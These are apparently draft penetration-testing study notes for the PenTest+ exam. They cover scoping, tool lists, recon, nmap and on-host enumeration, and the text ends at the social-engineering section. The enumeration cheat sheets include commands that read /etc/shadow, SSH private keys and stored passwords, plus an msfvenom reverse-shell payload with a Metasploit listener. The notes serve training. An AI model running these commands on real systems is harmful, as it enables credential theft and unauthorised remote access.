Security Assurance Basics: Offensive Security Assurance “Penetration Testing 101” (mRr3b00t’s Notebook draft edition 0.3)

Author: Daniel Card Penetration Testing Contents Copyright ...... 10 Document Control...... 10 Version ...... 10 A glimpse at mRr3b00t’s world ...... 11 Introduction ...... 12 Disclaimer...... 12 Realities of System Security Assurance Activities ...... 13 Sales ...... 14 Scoping ...... 14 Test Focus ...... 14 Test Types ...... 14 Test Scope Definition ...... 14 Planning ...... 15 The Penetration Testing Project ...... 15 Reporting, Findings and Recommendations ...... 15 Debriefing...... 15 Penetration Testing Tools – The basics ...... 16 Open Source Intelligence Gathering Tools ...... 16 Network and Vulnerability Scanning Tools ...... 16 Credential Testing Tools ...... 16 Debugging Tools ...... 16 Software Assurance Tools ...... 17 Wireless Testing ...... 17 Web Proxy Tools ...... 17 Social Engineering Tools ...... 17 Remote Access Tools ...... 17 Network Tools ...... 17 Mobile Tools ...... 17 Misc Tools ...... 17 Dependencies...... 18 Guest Operating Systems ...... 18 Vulnerable Pre-Made Targets ...... 18 Extras For learning ...... 18 Types of Penetration Test ...... 19

PUBLIC – Version 0.3 Copyright Xservus Limited Page 2 Penetration Testing Frameworks ...... 19 Resources ...... 19 Project ...... 20 Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement ...... 20 Penetration Testing Phases ...... 20 Post Exploitation ...... 20 Report Creation and Delivery ...... 20 Key Stakeholder and Team Playback ...... 20 Tool bag ...... 21 Recon Types and Focuses ...... 21 Passive Recon ...... 22 Search Engines ...... 22 Example – Google Dorking ...... 22 Types ...... 22 Operators ...... 22 Example ...... 22 DNS ...... 22 Maltego ...... 22 Spiderfoot ...... 23 Shodan ...... 23 Recon-NG ...... 23 The Harvester ...... 23 Documenting Findings ...... 23 Network Scanning ...... 24 Nmap (Network Mapper)...... 24 Common scan types ...... 24 Scanning ranges ...... 24 OS Identification Through TTL...... 24 Packet Crafting ...... 25 Network Mapping Tools ...... 25 Mapping the Network with Metasploit ...... 25 Armitage...... 25 Cobalt Strike ...... 26 Other C2 Servers ...... 26 Enumerations Basics ...... 26

PUBLIC – Version 0.3 Copyright Xservus Limited Page 3 Penetration Testing Banner Grabbing ...... 26 Telnet ...... 26 SMB ...... 26 SMTP ...... 26 FTP ...... 26 On box enumerations ...... 26 Basic Local Windows Enumeration ...... 28 Clearing Up Output (cmd.exe) ...... 28 PowerShell (using PowerShell) ...... 28 Basic Linux Enumeration ...... 29 Metasploit ...... 29 Cool msf commands ...... 29 On Box Enumeration (Linux) ...... 30 BASH (Basic Enumeration) ...... 30 METASPLOIT (Basic Enumeration) ...... 30 Modules ...... 30 Local Shell Test ...... 30 NULL SESSIONS ...... 32 WebServer Enumeration ...... 33 HTTP Response codes ...... 33 Vulnerability Scanning ...... 33 Tools ...... 33 Scripting ...... 33 Common Scripting/Programming Languages ...... 33 Generally Interpreted ...... 33 Compiled ...... 33 Penetration Testing Documentation Tools ...... 34 Report/Note Taking Tools ...... 34 Diagramming Tools ...... 34 RFID Duplicators ...... 35 Techniques ...... 35 Phishing Task ...... 36 Physical Attacks ...... 36 Physical Controls ...... 36 Door Access Controls ...... 36

PUBLIC – Version 0.3 Copyright Xservus Limited Page 4 Penetration Testing Enumeration, Vulnerability Identification ...... 37 Picking a vulnerability scanning ...... 37 Tooling ...... 37 Picking a vulnerability scanning Tool ...... 37 Open source vs Commercial ...... 37 Cloud vs On Premises ...... 37 Interpreting Output ...... 37 Asset Categorisation ...... 37 Adjudication ...... 37 False Positives ...... 37 Common Themes ...... 37 Prioritization ...... 38 Mapping & Prioritisation ...... 38 Attack Techniques ...... 38 Techniques ...... 38 Exploits & Payloads ...... 39 Exploit ...... 39 Payload ...... 39 Staged vs Upstaged Payloads ...... 39 Cross Compiling Code ...... 39 Exploit Modification ...... 39 Exploit Chaining ...... 39 Proof of Concepts ...... 39 Deception Tactics ...... 39 Password Attacks ...... 39 Attacks ...... 40 Ethernet & TCP/IP Networks...... 40 Network Protocol Exploits ...... 41 SMB ...... 41 SNMP ...... 41 FTP ...... 41 DNS ...... 41 Name Resolution ...... 42 Wireless Networks ...... 42 Tools ...... 42

PUBLIC – Version 0.3 Copyright Xservus Limited Page 5 Penetration Testing Attacks and Techniques ...... 42 Lab Activities ...... 43 Replay Steps ...... 43 Fragmentation Attacks ...... 43 Aircrack-ng ...... 43 Specialist Systems ...... 44 Mobile Systems ...... 44 Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition) ...... 44 ICS ...... 44 SCADA ...... 44 Embedded Systems ...... 44 Real -Time OS’s (RTOS) ...... 44 Internet of Things (IoT) ...... 44 Point of Sale Systems ...... 44 Host based Exploitation ...... 45 Linux Package Managers ...... 45 Windows Systems and Vulnerabilities ...... 45 Types of Vulnerability ...... 45 Web Application Vulnerabilities ...... 45 Common Windows Exploit Examples ...... 46 More modern examples ...... 46 Dumping Hashes & Password Cracking...... 46 Techniques ...... 46 Windows Credential Dumping ...... 47 Dump the SAM ...... 47 Registry export ...... 47 Common nix Vulnerabilities ...... 48 LINUX ...... 48 Common Exploits ...... 48 Password Cracking for LINUX ...... 48 Credentials are stored ...... 48 Protocol Exploitation ...... 49 Windows ...... 49 NIX ...... 49 Protocols and Services ...... 49

PUBLIC – Version 0.3 Copyright Xservus Limited Page 6 Penetration Testing Windows ...... 49 Linux ...... 49 LAB Activity ...... 49 Windows ...... 49 Linux ...... 49 Exploitation ...... 49 Windows 7 ...... 49 File Permissions and Exploitations ...... 50 Windows ...... 50 Linux ...... 50 Linux Sensitive Files...... 50 Resources ...... 50 Kernel Vulnerabilities and Exploits ...... 50 Memory Vulnerabilities ...... 50 Default Accounts ...... 51 Windows ...... 51 Linux (nix) ...... 51 Sandboxes ...... 51 Windows ...... 51 Escape Techniques ...... 51 MAC OS & IOS ...... 52 Android ...... 52 Physical Attacks ...... 53 Common Cracking Tools ...... 53 Attacking Applications and Web Applications ...... 54 Common Web Application Vulnerabilities ...... 54 Common Misconfigurations ...... 54 LAB Tasks ...... 55 Authentication & Authorisation Attacks ...... 56 Injection Attacks ...... 56 HTML Injection ...... 56 Cross Site Scripting (XSS) ...... 56 Cross Site Request Forgery (XSRF) ...... 56 Clickjacking ...... 56 Other Vulnerabilities/Exploits ...... 56

PUBLIC – Version 0.3 Copyright Xservus Limited Page 7 Penetration Testing Lab Work ...... 57 Static Code Analysis ...... 58 Dynamic Code Analysis ...... 58 Fuzzing ...... 58 Reverse Engineering...... 58 Post Exploitation ...... 59 Enumeration ...... 59 Lateral Movement...... 59 Pivoting ...... 59 Maintaining Persistence...... 59 Evading Security Solutions & Anti-Forensics...... 59 Key Areas...... 60 Report Format ...... 60 Considerations ...... 60 Prioritising Findings ...... 60 Authentication Recommendations ...... 60 Authentication Recommendations ...... 60 Input and Output Sanitisation ...... 60 Parametrisation of Queries (Declared Statements) ...... 61 Hardware and Software Hardening ...... 61 Hardening Measures ...... 61 Mobile Device Management (MDM) ...... 62 MDM Features ...... 62 Secure Software Development ...... 63 Testing ...... 63 Microsoft Threat Modelling ...... 65 IEEE 802.11 Wireless Standard ...... 65 C2 Frameworks ...... 65 DNS Tunnelling ...... 65 External Resources ...... 66 The Cyber Mentor Courses on Udemy ...... 66 HackTheBox...... 66 TryHackMe ...... 66 Pluralsight ...... 66 Proctored Online Exam Details ...... 67

PUBLIC – Version 0.3 Copyright Xservus Limited Page 8 Penetration Testing Online Practise Questions - Free ...... 67 Ordering Exam Vouchers ...... 67 Vouchers Resellers ...... 67 Windows Vulnerabilities ...... 67 OS X ...... 67 Resources & Useful Links ...... 67 UAC Bypasses ...... 67

PUBLIC – Version 0.3 Copyright Xservus Limited Page 9 Penetration Testing Copyright This document is copyright of Xservus Limited. It is free for public use to support educational efforts.

Document Control Version Version Author Date Notes Status 0.1 Daniel Card 23/07/2020 Initial Creation Draft 0.2 Daniel Card 24/07/2020 Updated Draft 0.3 Daniel Card 27/07/2020 Updates Draft Release following exam

PUBLIC – Version 0.3 Copyright Xservus Limited Page 10 Penetration Testing A glimpse at mRr3b00t’s world Hi, I’m Dan! Nice to meet you (if I don’t already know you)!

I’m an information technology and security professional (you know ‘teh Cyberz’) who has spent his career on a constant learning journey. I’ve planned, built, broken, reviewed and sometimes managed to break into a range of systems over the years. By day I help organisations improve their technology and security management (I do this with my own style, blending traditional management consultancy with hands on tech skills combined with a truck load of energy and passion) helping organisations change the way they do things (hopefully for the better :D)

I spent a lot of my non project time also creating community content, games and sometimes finding time to go and hax all the things in capture the flag games)

If for some reason you aren’t bored of my after reading some of my notes, feel free to come chat to me online, I mostly hangout on Twitter (://twitter.com/UK_Daniel_Card)

This is the first draft release of the notes I took whilst I did the Comptia Pentest+ course and exam over ~1-week period.

Everything in here is draft, if you find something that’s totally wrong please let me know, if you think there’s cool stuff I could add that’s great hit me up.

If you think you could do it better, please go and make your own and share all the things with the world! I’m not a fan of gatekeeping and I try and share knowledge and content which I think can help people (I’ve got a few videos on https://www.youtube.com/c/PwnDefend)

I really hope these notes are of at least some use, even if they are just interesting to see the process, I went through to randomly decided to do a course and exam in the space of a week!

I managed to sit a ~25 hour CBT course on Pluralsight and book/take the exam in a week. The exam I think I got 833 points in about 60 minutes. I’d highly recommend doing a lot more prep than I did, do lab work, learn the craft and the theory! (also there’s loads of bits of paper you can get, the fun part is the journey not the destination!)

Keep an eye out as well because I’ve trimmed some content out for this initial draft publish so there might be more to come in the future!

Be safe, don’t have shit passwords and stop exposing RDP to the net in an insecure manner!

Peace! – mRr300t

PUBLIC – Version 0.3 Copyright Xservus Limited Page 11 Penetration Testing Introduction The modern world is filled with technology, the internet enabled global communications, miniaturisation has provided the world with even more pervasive and embedded technology services that are integrated into daily life. With this explosion of technology, we are currently in a world where technology is so integrated into our lives that the role technology places would be considered critical.

Banks, Power Plants, Factories, Healthcare Services, Restaurants, Shops, Transport Services, Cars, Phones, Point of Sale systems, Water Supplies, you name it, it probably relies on a computer to operate.

This e-book is designed to help people have a BASIC understanding of penetration testing. It is not a complete guide to HACKING THE PLANET and only touches on tools, techniques and practises that are used in the cyber realm to affect the CONFIDENTIALITY, INTEGRITY or AVAILABILITY of digital assets.

I’ve based the core of this on intel which will help people in foundational certificates such as the PenTest+ but these are also foundational areas which can support:

• eJPT • OSCP • CEH

This isn’t an official guide, it’s not a HOW TO, it’s simply a collection of information I collected, curated and created whilst I was doing some exploration. I’ve tried to add my own spin to some areas, if I see something that’s totally missing or needs modernising, I’ve tried to call this out. It is not designed as a book to read, you will NEED to develop, train and grow your skills using labs and penetration testing platforms such as:

• TryHackMe • HackTheBox • VulnHub • Vulnerable VMs • Vulnerable Training Tools (e.g. OWASP Juice Shop, OWASP BWA, OWASP Mutillidae 2)

And if you keep an eye out, maybe a PwnDefend CTF game!

I’d also highly recommend that you leverage either an online training service (such as Pluralsight or ITPRO.TV) or a formal instructor led course. Self study has some limitations, your view/viewpoint may

Disclaimer Using offensive security testing techniques without authorisation from the asset owner is almost certainly illegal. Use these at your own risk. Do NOT break the LAW!

The materials in this document are not endorsed by any third-party company. The content here is NOT specific to a single course, certification, framework

PUBLIC – Version 0.3 Copyright Xservus Limited Page 12 Penetration Testing Realities of System Security Assurance Activities • Penetration testing is not a single task, there are many views, viewpoints and perspectives. • Penetration is not a silver bullet • When we look at spend on penetration testing vs revenue of a business the % is tiny, bear that in mind! • This is not Hollywood; you will NOT be raining in shells getting r00t and owning everything you see. Even if you can get a shell, your scope may indicate that’s the end of the test. • In unauthenticated black box external web tests you might see people say the expression ‘SHELLS are DREAMS’ – that’s because the % likelihood of you finding RCE or having enough time to successfully execute a potential vulnerability may be far more limited than you think. • Penetration testing is NOT red teaming • Red teaming also has a defined scope • You can do security testing without calling it a penetration test of RED team • Penetration testing without doing any other security assurance activity first is normally not very efficient or recommended • White box testing is generally more efficient • Report writing takes time (if you want to have a good report that is) • You might not find EVERY vulnerability (in fact I’d say it’s unlikely you will find EVERYTHING ever) • The landscape is fast moving secure today != secure tomorrow • Penetration testing is POINT IN TIME • You will almost certainly need help, built a network of trusted peers, colleagues and friends is a highly recommended thing to do • There are constraints (a lot more than people think of) • Security testing requires a broad and deep level of experience not only with exploitation but also to be able to articulate remediations and mitigations.

PUBLIC – Version 0.3 Copyright Xservus Limited Page 13 Penetration Testing Learning Modules There’s a whole heap of things you need to know about conducting a penetration test, and it may come to a surprise to many but there’s a lot of logistics, planning and paperwork that’s involved.

I’m not going to be exhaustive here (or highly verbose) but rather highlight some key areas for you to think about.

Sales Penetration testing isn’t normally conducted in house; therefore, you should be aware that there is a requirement for services to be SOLD. So, consider things like the following:

• Margin/Revenue • Market Positioning • Costs • Timescales • Certifications • Standards

Sales is not easy but it’s critical that the sales process is conducted in a manner then ensures both the recipient and the provider (that’s you) get value. Realise there are constraints but also realise that in sales you can say no. We are here to help people, not just tell them yes. Not everyone in the world is good at scoping their own requirements let along designing a penetration test that’s valid for their specific scenario so communication here is key.

Scoping Test Focus • Objective • Compliance Test Types • Black Box • Grey Box • White Box • Hybrid Test Scope Definition • Authenticated, Unauthenticated • Social Engineering • Denial of Service, Stress Testing • Web, Application, API, Infrastructure, Hardware, Wireless • Inclusions • Targets and Test Types • Exclusions • Constraints • Times of Testing

PUBLIC – Version 0.3 Copyright Xservus Limited Page 14 Penetration Testing Planning • Authorisations and Waivers • Scope Agreement • Rules of Engagement • Scheduling • Communications • Escalations

The Penetration Testing Project • Passive Recon • Active Recon • Vulnerability Assessment • Penetration • Exploitation • Post Exploitation

This is not the ONLY flow, and, it’s iterative and can jump around.

• Post Test Clean-up

Reporting, Findings and Recommendations • Exec Summary • Categorisation of Findings • Priority • Standards such as CVSS • Safe handling of information and documents

Debriefing • Post Testing and report creation debrief o Ensure key sponsor is kept up to date and in the loop o Brief wider team ▪ Two-way communication flow

PUBLIC – Version 0.3 Copyright Xservus Limited Page 15 Penetration Testing Penetration Testing Tools – The basics We have put a list of tools that are covered in the PenTest+ course (but these are also applicable to any penetration testing service or course). Where possible links to tools and download locations have been provided. Clearly you can deploy a security testing distro such as Kali Linux, Parrot etc. buy you may want to simply install Ubunt or use Windows and WSL 2.

Open Source Intelligence Gathering Tools • Whois • Nslookup • FOCA (https://github.com/ElevenPaths/FOCA) • Maltego (https://www.maltego.com/) • TheHarvester (https://github.com/laramies/theHarvester) • Shodan (https://www.shodan.io/) • Recon-ng (https://github.com/lanmaster53/recon-ng)

Network and Vulnerability Scanning Tools • Nmap (https://nmap.org/download.html) • Nikto (https://cirt.net/Nikto2) • OpenVAS (https://www.openvas.org/) • SQLMap (https://github.com/sqlmapproject/sqlmap) • Nessus (https://www.tenable.com/products/nessus)

Credential Testing Tools • John (https://www.openwall.com/john/) • Hashcat (https://hashcat.net/hashcat/) • Medusa (https://github.com/jmk-foofus/medusa) • THC-Hydra (https://github.com/vanhauser-thc/thc-hydra) • CeWL (https://github.com/digininja/CeWL/) • Cain and Abel (https://web.archive.org/web/20190603235413if_/http://www.oxid.it/cain.html) • Mimikatz (https://github.com/gentilkiwi/mimikatz) • Patator (https://github.com/lanjelot/patator) • Dirbuster (https://sourceforge.net/projects/dirbuster/) • W3AF (http://w3af.org/download)

Debugging Tools • OLLYDBG (http://www.ollydbg.de/download.htm) • Immunity debugger (https://www.immunityinc.com/products/debugger/) • Gdb (https://www.gnu.org/software/gdb/download/) • WinDBG (https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/debugger-download-tools) • IDA (https://www.hex-rays.com/products/ida/support/download_freeware/)

PUBLIC – Version 0.3 Copyright Xservus Limited Page 16 Penetration Testing Software Assurance Tools • FindBugs (http://findbugs.sourceforge.net/) • FindSecBugs (https://find-sec-bugs.github.io/) • Peach (http://community.peachfuzzer.com/WhatIsPeach.html) • AFL (American Fuzzy Lop) (https://github.com/google/AFL) • SonarQube (https://www.sonarqube.org/downloads/) • YASCA (https://sourceforge.net/projects/yasca/)

Wireless Testing • Aircrack-ng (https://www.aircrack-ng.org/downloads.html) • Kismet (https://www.kismetwireless.net/downloads/) • WiFite (https://github.com/derv82/wifite2) • WiFi-Pumpkin (https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated)

Web Proxy Tools • OWASP ZAP (https://www.zaproxy.org/download/) • BURP Suite (https://portswigger.net/burp/communitydownload)

Social Engineering Tools • Social Engineering Toolkit (https://github.com/trustedsec/social-engineer-toolkit) • BeEF (Browser Exploitation Framework) (https://github.com/beefproject/beef)

Remote Access Tools • SSH • Ncat (https://nmap.org/ncat/) • Netcat • Proxychains (https://github.com/haad/proxychains)

Network Tools • Wireshark (https://www.wireshark.org/download.html) • Hping (https://github.com/antirez/hping)

Mobile Tools • Drozer (https://github.com/FSecureLABS/drozer) • APKX (https://github.com/b-mueller/apkx) • APK Studio (https://github.com/vaibhavpandeyvpz/apkstudio/releases)

Misc Tools • Powersploit (https://github.com/PowerShellMafia/PowerSploit) • Searchsploit (https://www.exploit-db.com/searchsploit) • Responder (https://github.com/SpiderLabs/Responder) • Impacket (https://github.com/SecureAuthCorp/impacket) • Empire (C2) (https://github.com/EmpireProject/Empire) • Metasploit (https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers) PUBLIC – Version 0.3 Copyright Xservus Limited Page 17 Penetration Testing Lab Environment Dependencies • An internet connection • A Host System that supports running a type 2 hypervisor or Cloud IaaS provider o Enough CPU resources o 16GB RAM o 1TB Storage • A type-2 hypervisor such as: o Oracle Virtual Box o Hyper-V o VMWare Workstation o VMWare Fusion

Guest Operating Systems • Kali Linux • Windows 10 Enterprise Eval • Black Arch • Windows Server 2016 Eval • Parrot OS • Windows Server 2019 Eval • Windows 7 Pro Eval Getting ISOs etc. isn’t always simple however you can use tools such as RUFUS: https://rufus.ie/ from the vendor sites or using this tool: https://www.heidoc.net/joomla/technology-science/microsoft/67-microsoft-windows-and-office- iso-download-tool Vulnerable Pre-Made Targets Multipliable (https://information.rapid7.com/metasploitable-download.html)

OWAS-BWA (https://sourceforge.net/projects/owaspbwa/) Extras For learning OWAS JUICE SHOP (https://owasp.org/www-project-juice-shop/)

DVWA (http://www.dvwa.co.uk/)

• Hack the Box (https://www.hackthebox.eu/) • TryHackMe (https://tryhackme.com/) • VulnHub (https://www.vulnhub.com/)

PUBLIC – Version 0.3 Copyright Xservus Limited Page 18 Penetration Testing Penetration Testing Standards and Frameworks Types of Penetration Test • Objective Based • Target Based • Compliance Based

Frameworks • OSSTMM • PTES • OWASP ASV • CHECK • ISSAF • NIST

Resources http://www.pentest-standard.org/index.php/Main_Page https://www.ncsc.gov.uk/information/check-penetration-testing https://owasp.org/www-project-application-security-verification-standard/ https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf https://www.isecom.org/research.html

PUBLIC – Version 0.3 Copyright Xservus Limited Page 19 Penetration Testing Penetration Testing Phases Project Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement It’s not all pew pew bang bang, there is a lot to be considered, planned, agreed and scheduled.

Penetration Testing Phases

Passive Recon

Post Active Recon Exploitation

Vulnerability Exploitation Assessment

Penetration

Post Exploitation

Report Creation and Delivery

Key Stakeholder and Team Playback This is (in my opinion) an undervalued activity area but also one that does not receive the attention it deserves. This part is the key element to a security assurance testing project, a lot of people consider the report to be the outcome of a pen test, and from a standard point of view that might be the case, however what I’ve know is that unless you are simply ticking a box, they key value is ensuring the recipient of the test understands not only what the findings mean tot them in terms of business risk, likelihood, confidence and impact but also how to develop remedial or mitigation strategies (this includes advising on how to avoid creation of the vulnerabilities in the first place).

It’s important not only to ensure the recipients understand the findings but also ensure that additional business contextualisation occurs, not every finding will be acted upon and sometimes that for a very valid business reason (other times you may need to really outline what the potential impacts may be). Either way, communication is key! Remember the objective is to improve the security posture through identification of weaknesses.

PUBLIC – Version 0.3 Copyright Xservus Limited Page 20 Penetration Testing Pentest – Recon Our goal here is to understand as much about the target as possible both from a passive perspective and an active perspective. Tool bag • Whois • Nslookup • FOCA (https://github.com/ElevenPaths/FOCA) • Maltego (https://www.maltego.com/) • TheHarvester (https://github.com/laramies/theHarvester) • Shodan (https://www.shodan.io/) • Recon-ng (https://github.com/lanmaster53/recon-ng)

You are also going to want to use several services such as:

• Public facing websites • GitHub Repositories • Social Media Sites • Search Engines • News Sites/Press Releases • Job Descriptions/Job Adverts

We are also going to want to use other tools such as:

The Internet Archive WayBack machine: https://archive.org/web/

Recon Types and Focuses With regards to penetration testing there are 2 types of recon:

1. Passive Recon 2. Active Recon PUBLIC – Version 0.3 Copyright Xservus Limited Page 21 Penetration Testing Passive Recon During passive recon we don’t directly touch the target environment. Instead we leverage alterative data sources to enumerate information about the target organisation and scope.

Search Engines Example – Google Dorking Before we hit some of the syntax there’s a cool db and loads of web resources on this topic: https://www.exploit-db.com/google-hacking-database Types • site: • filetype: • inurl: • intitle: Operators • OR • AND Example

DNS We can search dns using a tool as simple as “nslookup”

Other tools exist such as:

• Dig (Domain Information Groper) • DNSRecon (https://tools.kali.org/information-gathering/dnsrecon)

Maltego Maltego comes in a variety of shapes and sizes, Community, Classica, XL etc. PUBLIC – Version 0.3 Copyright Xservus Limited Page 22 Penetration Testing https://www.maltego.com/

Maltego is a great tool at collecting, collating, creating and visualising data using graphs for open source intelligence gathering and analysis.

Spiderfoot Spiderfoot isn’t included in PenTest+ to my knowledge but it should be! There’s both an open source version of spider foot but also a hosted commercial version called Spiderfoot-HX

Shodan Shodan is a search engine for systems, devices and services. https://www.shodan.io

Recon-NG Recon-NG is a great tool that also integrates into a large range of tools via API keys.

The Harvester

Documenting Findings Once you have gathered intelligence on you target you need to filter it and ensure the data you are creating is supportive of your objectives.

You are trying to find intel that helps:

• User lists/Email Lists • Organisation Data • Organisation Structure • Suppliers • Remote Access Services • Physical Locations • Network and DNS information • Products and Services

PUBLIC – Version 0.3 Copyright Xservus Limited Page 23 Penetration Testing Active Recon Here our systems connect to the target services.

Network Scanning • Nmap • Nikto • Metasploit Nmap (Network Mapper) Nmap basic scan scans the most common TOP 1000 ports (not the first 1-1000 ports) Common scan types • Connect Scan (Full Scan) – This does a 3-way handshake • SYN Scan (Half Open) – This does the first step of the handshake sending SYN, gets a SYN- ACK and then never completes the conversation • Tracert (Conducts a traceroute) • Ping (uses ICMP protocol to echo the target) • UDP Scan (super-fast UDP scan =”nmap -sU --defeat-icmp-ratelimit” required nmap 7.4) • NULL Scan (TCP Packets with no FLAGS set) • FIN Scan

A common scan people use: nmap -vvv -O -sV -sC -sS -T4 -oA results 192.168.1.1 This scan will be verbose (x3), will detect operating system version (-O), Service Vesions (-sV) Scanning ranges Nmap {Scan Options} 192.168.1.0/25

-sn = ping sweep

-PR = arp scan -PA = Non existent TCP Connections

XMAS Tree Scan

-sX OS Identification Through TTL Different OS’s respond to ICMP echo with different TTLS https://subinsb.com/default-device-ttl-values/

There’s load there but you just need to know the common ones like:

• Common Windows Versions • Linux Versions

OS TTL Linux/Unix 64 Windos 128 PUBLIC – Version 0.3 Copyright Xservus Limited Page 24 Penetration Testing Solaris/AIX 254

Packet Crafting Creation of bespoke packets (hping, hping3 etc.)

• Create • Edit • Play • Decode

Network Mapping Tools • ZenMAP • SpiceWorks • WhatsUPGOld • TheDUDE • Nagios • SolarWinds Mapping the Network with Metasploit • Metasploit Framework • Community • Express • Pro

Now using Metasploit is fairly simple but it’s far too in depth for here! Armitage Included with KALI but no longer in development

PUBLIC – Version 0.3 Copyright Xservus Limited Page 25 Penetration Testing Cobalt Strike A commercial offering created by the author of Armitage

Other C2 Servers • Empire • Coventant

Enumerations Basics Banner Grabbing We can grab banners using tools such as telnet, nc, nmap etc.

To enumerate a banner with nmap we use -sV

We can also enumerate banners and service information manually using tools like telnet, netcat/nc etc. Telnet SMB SMTP • SMTP Port is 25 • Encrypted SMTP uses port 587 • VRFY is used to check a mailbox • EXPN is used to check a group FTP FTP Attacks include BOUNCE. A BOUNCE attack uses one FTP server to MiTM another FTP Server. On box enumerations Using tools interactively / from an authenticated point of view such as:

Netstat (Windows and Unix Based Systems)

PUBLIC – Version 0.3 Copyright Xservus Limited Page 26 Penetration Testing

PUBLIC – Version 0.3 Copyright Xservus Limited Page 27 Penetration Testing Basic Local Windows Enumeration Command Execution (using cmd.exe shell) Dir Cd hostname Whoami Whoami /privs echo %path% Ipconfig /all Route print Arp -a Net use Systeminfo Net Start Net users Net localgroup Net user administrator Net localgroup administrators Net localgroup ‘remote management users’ Net localgroup ‘remote desktop users’ Net localgroup ‘Backup Operators’ Net localgroup administrators netstat -ano netsh firewall show state schtasks /query /fo LIST /v tasklist /SVC Driverquery wmic qfe get Caption,Description,HotFixID,InstalledOn reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated dir /s *pass* == *cred* == *vnc* == *.config* ==*.txt* findstr /si password *.xml *.ini *.txt *.config *.xlsx *.docx reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s wmic process list brief | find "winlogon" wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Clearing Up Output (cmd.exe) | #pipe output > #output to file (overwrite) >> #output to file (append) | findstr #find a string in the output PowerShell (using PowerShell) Get-Command #show all commands Get-LocalGroup Get-LocalGroupMember administrators Get-ChildItem -Path c:\ -Include *.docx,*.doc,*.xlsx,*.xls,*.config,*.ini -file -recurse -erroraction silentlycontinue | select-string password Get-Hotfix

PUBLIC – Version 0.3 Copyright Xservus Limited Page 28 Penetration Testing

Basic Linux Enumeration There are a ton of tools you can use from Enum4Linux, the Metasploit modules, smbclient, ftp, grep.. honestly there’s a lot so lets’ look at some common tools:

• Enum4Linux • Impacket • Metasploit • Nmap (we won’t cover that again)

Enum4Linux -a -u administrator -p Pa55w0rd1 192.168.1.1

Metasploit There are hundreds of moudles

Using Metasploit to hunt for SMB shares on a range (change the CIDR range on RHOSTS to suit) msfconsole search smb_enumshares use auxiliary/scanner/smb/smb_enumshares info options set RHOSTS 192.168.1.0/24 run Cool msf commands setg #setglobal – makes the option stick between modules e.g. setg LHOST 192.168.1.10 set verbose true # enables verbose output #RUN A LISTENER from the CLI on one line msfconsole -x "use exploit/multi/handler;set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST 0.0.0.0;set ExitOnSession False;run"

PUBLIC – Version 0.3 Copyright Xservus Limited Page 29 Penetration Testing

On Box Enumeration (Linux) BASH (Basic Enumeration) whoami whoami ifconfig ip a arp uname -a route netstat -antp netstat -anup mount df -a dpkg -l ps ps aux ps aux | grep root ps -ef | grep root ps -ef cat /etc/services cat /etc/passwd cat /etc/shadow apache2 -v mysql --version cat /etc/groups cat /etc/resolv.conf nmap –version find / -name nc 2>/dev/null crontab -l grep -i password /etc/my.ini cat /etc/sudoers cat ~/.bash_history cat ~/.ssh/id_rsa find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null METASPLOIT (Basic Enumeration) Modules Post Modules require a SESSION to be established: linux_enum_system linux_enum_cofigs linux_enum_network linux_protections linux_enum_user_history

Local Shell Test The following test just let’s you connect to youself on your loopback address on TCP port 9999 PUBLIC – Version 0.3 Copyright Xservus Limited Page 30 Penetration Testing Metasploit Console use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LPORT 9999 set LHOST 0.0.0.0 set ExitOnSession FALSE run -j

Local Linux Machine (x64 Architecture) #Create a Payload msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f elf > shell.elf #set as executeable chmod +x shell.elf #run the payload ./shell.elf You should see a local connection

PUBLIC – Version 0.3 Copyright Xservus Limited Page 31 Penetration Testing

We are now in a position where we can run POST modules: use /linux/gather/enum_system set SESSION 2 #change the ID to match your session number – check sessions -l run

NULL SESSIONS SMB Prior to Server 2003 on Windows machines but also older versions of SAMBA also have this vulnerability.

To enumerate this, we can simply use:

Net use \\target\ipc$ /U: "" "" Net view \\target

PUBLIC – Version 0.3 Copyright Xservus Limited Page 32 Penetration Testing WebServer Enumeration HTTP Response codes • HTTP 401 • HTTP 403 • HTTP 404 • HTTP 200 • HTTP 402

These can be enumerated using a browser and developers’ mode, a web proxy tool like BURP, FIDDLER or OWAS ZAP or using tools like nmap etc. nmap --script=http-enum 192.168.1.1 nmap --script=http-php-version 192.168.1.1 nmap --script=http-wordpress-enum 192.168.1.1

Vulnerability Scanning Tools • OpenVAS • Nessus • Qualys • Rapid7 Nexpose

I’d recommend downloading evals/trials and checking these out.

Scripting Common Scripting/Programming Languages Generally Interpreted • Bash (tied to OS:NIX) • Perl • Batch (Tied to OS DOS/WINDOWS) • Ruby • PowerShell • PHP • Python • VBScript o Python2 • VBA o Python3 • Javascript

Compiled • C • Visual Basic • C++ • GoLang • C#.net • Java • .net

PUBLIC – Version 0.3 Copyright Xservus Limited Page 33 Penetration Testing Penetration Testing Documentation Tools • CVSS Calculators • CWE • DRADIS Community • DRADIS Pro • AttackForge

Report/Note Taking Tools There are literally tons of tools that can be used for note taking and report writing, some of these include:

• Microsoft Word (I wrote this e-book in MS WORD, I write my reports in WORD too) • Microsoft OneNote • CherryTree • EverNote • Notion

Diagramming Tools • Microsoft Visio (Windows) • https://draw.io • Smart Draw (OS X) • OmniGraffle (OS X) • Archimate

PUBLIC – Version 0.3 Copyright Xservus Limited Page 34 Penetration Testing Social Engineering & Non ‘Technical’ Attacks • Non-Technical Attacks • Dumpster Diving RFID Duplicators • Keysys • PROXMOX

